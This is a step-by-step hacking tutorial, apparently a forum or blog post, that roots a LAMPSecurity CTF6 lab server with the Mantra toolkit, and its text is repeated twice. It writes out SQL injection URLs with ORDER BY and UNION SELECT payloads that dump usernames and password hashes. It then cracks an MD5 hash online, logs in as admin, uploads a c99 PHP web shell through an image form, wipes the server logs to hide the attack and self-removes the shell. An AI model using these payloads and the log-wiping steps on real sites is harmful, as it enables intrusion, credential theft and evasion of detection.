Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sbYoz7uJxWWWNyjIkjpltcbby2tothKM80-_G6WoaGuUl1HZqc1gOdfPeU3gvVDRfSd2Zw8MfxiGhTewqrDDtxXzEIgngHLG6gYEM4gYDag6-yX0fDSerBqQBbTAK5B2wnFyntfA3Mc49GgEub7q6TaA99__sDsvv1rz45h2teRDvL=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ugnKKCi_G38hI5oJ5tAFytVrEfTSjj3CaGGHvBHwn8yzXTP4rN7D82tbX0km0PCvsSfLSooW9khEpxTuASo4D9I28-SQFKpMNOJsBfd20xOx2s1bB8LboHqhUSncRylkjVqoHZn0FHn3yXoEhPOT3xQd3k_xgwXLsnQ6tldgwzeolX1A=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_su10sY-sUIB-0qfDeFsKWX4UhegW4YYf4o540x5WiX8y7tUcTiFKDaFKBAMq31v4L4sK0w47IOnDCn0FwgBE8j0TWQqkWkGqmzlWtb213kl5Fl0w6gQ3SwH_HMfB9CQQRVmkKtTCNzDTHUUOCLp2PqR7y8xklVnqAu9-x7oqaqoeLzFg=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sFT6ut2CrSKUNZywrxy474LA4b8R6YwjskYoH4NBw-Ad7lvpK06rD5uwKqP2UVpxFVY40PZUe7qNcrURLKelUTdqRUFApWlSW5hyVtlHDIM-gN46fKivV8A-oE_A2Xmy7536PQ9wf7OhFH3vzbq1Hje8AofTassFFFP5UIq6DItecr0A=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tr2WbS2PMsXwYseewbLQUbB536SDpdqVOFASnsnc3wuuzYeih-JRH3kPT1izR54Dv4VHoMrmg1M9nxDJzhaEnPqiyuN0gRuaCmFZQt2MlzDrDStihs7HBreQD4YoIm6pAcHKPFEWXAohOhZj4SD2SxMH6EU_CkJE3_1rVZBgAByqiLuw=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uumdNXiLJ_Ap3NgiRci-orjllFvAEcK5NNWHoMOM1NsatLLd54f65Ujk6E5q0-O2_Z1RiCGlxHyMilvFo8q1eUWfsCVgsKs62TEfN835QSLB8bVJqXM7SIVEk2WWVyv197R1OZXvG2Xl-6okr_3Qt9YEDom40NaozYxVcGUlb8mC9D=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u_4KumeBHCvTeIuTd2CmEg8HPdOGJMIUe8OQAQVOP5GxUKHUQx5IU34e-qA9VeyCSDmVHQt5WPdiR7lOf4FLNfvlpKNL6A_4kfB98FUiTYddIyxPGbAytXW8-O6_bSrms-duJWMTYlk0ZRP4UDeh6tpI2buWHcWX2MOe5cAKKFI9k69a4=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tt0nK0bctk3TX9XBStGnnRXUwKMWzGhbrLmiN-xuQEb7AJCHibOwOMBQWe-d4cBzeNebV2J9OX-dqHYzjNBT5TVzqPh4ivoVBC5NG1AQw8FFsdNhS2wscbl0WYQhoK3g3uhKq1jplC3aysQtZPfoiGtwkHow2ZAOVZxGy_YvF9T50Zq5k=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_suAxpz5Giz1BURnl_Q_2JCQp44GpdrhCnURpxw1RVE4R4kWApxLTYhHGDmQXItJpnOZ63tPX4NnebiKUKgdo7wKygAIUiz75fZ0cUGs0gD5Hwo7uSN2xE9GA8hf-cR71LE5OrpYVt8t7j8qd6wYh12Nv0KH0lq-mNKuC8a36sw97UbX3w=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vQcYyNrdaRUnoNwFcDrJ-sWrxLkToST6DL8vLqCsVEZJix6trjxTdAUUCSrUMQNcv6JcUFwO5p7GjdOXoxwSgmxjBNvPJS0EGplwSF7zDUuNjDdg1cODnYE9xLWcVF7Rk3NXFf9QDakSW3GrjJ7bS003JOn-5p4cJRYVT0izwW01WSy50=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_umFKD3b-cPFcEnac877aiwPhLh-FHKY5a8SNjRhWbhr7gE1UEBj3D1dMM9xXV6DmyTZ_j5jWaAA2CsD9dY9tgmf8It5SFKWZTfQCQx9HgP5EDJcZBlTjKoph8O0ge_YKpR2uRI19kNLkQs75Uh_1_HfQVSk-N0TIIuIxgsE_goeJyM6g=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tNWvbDt2zHkUZaQBuwUjYincZunk3q-kyHRrX-4R3s8_W9jFghmBOdHqcc5WuduhTuiydNrgFWrXnecy73UOB93vsqnVlpqOFzsxTF8eB9OVG1Go_3o9_ixChIpnHS6xj-GLm-HIa3wIcHTD7N3eDHPln9O8Vl03v-syQZwmhnkxcp1mc=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5CwJkjzb9Rw-ctT7UlWdrLWtyn0CmkbPOGstAZqLn6H_QCSGxb9J9uCeFKVrVWHtDL1TW-sbhyiHiD712vsn46ejgjdPTDw1r4R9FhBmsBvKX-rhQVoGTAc1je9442lqrYnU_bmio7dSf2hnU4CgM27WDYZTKd1TFA0vBiisg4YeJKRU=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vC7TzVj4ZlUz8qgG-Q9d7g7eneN67Qa7q-yB1vLBWtwXovZ18UctAGMbyU09o0CoSXCGQRR2woCnbpVjjMUWFi6zdNL6oUmT0Dzv597qnngQJQCSgFhWAcGuE41wdAC_E-y2X0DtTybheEInpIBduByUEIh25PWCfhQ47LclYyx1IbuA=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uaRi6N2e7ZeXS3oqp69bcqfkaPIBrsUV3dAlYw_6wc0WTag9dnS8wHWs7XYEN6D2B4eLQOlUKdqpGvX6FPWzXjhBJL-BwvqFz3AbvniOv0ij4J6rij6gCuO2nc5XHSquOhQLOrq4FRPcGXGafMeTs42WZ8ZEcKBSDFB6DBB0jcblt76w=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sB3oftrAZ4f2FSp_-QMZxU22vnLXyy_0euFhK8DsZAR3MLkYG5gpc5rZ7bvc02NqO8rE_wT1Glzz6WajRVxWYx7y00inGAIXU5WsbuHrvMfrQU_arAQ1JUxJBNGmG1jCt5xtLn9io2rEuFsTBXZovQ-RiXt5v8s0Z5ZUXHrDLg57I4t6Q=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tKeIZyt8v82IWX4ZC65RImbkJM2cFSdt3tIWch13CKeB13dtAZYIofsY-mxkWK5nvvJd6xIucFdaegofOtldBEOrbsTYhTmPSz33X0xHgiLL9CivPFO9-MIPe9s41WTak1AJo58CKwPguzT0mAQqicLTjeOmmQ7Bdg2MDNHWec4KZYk74=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
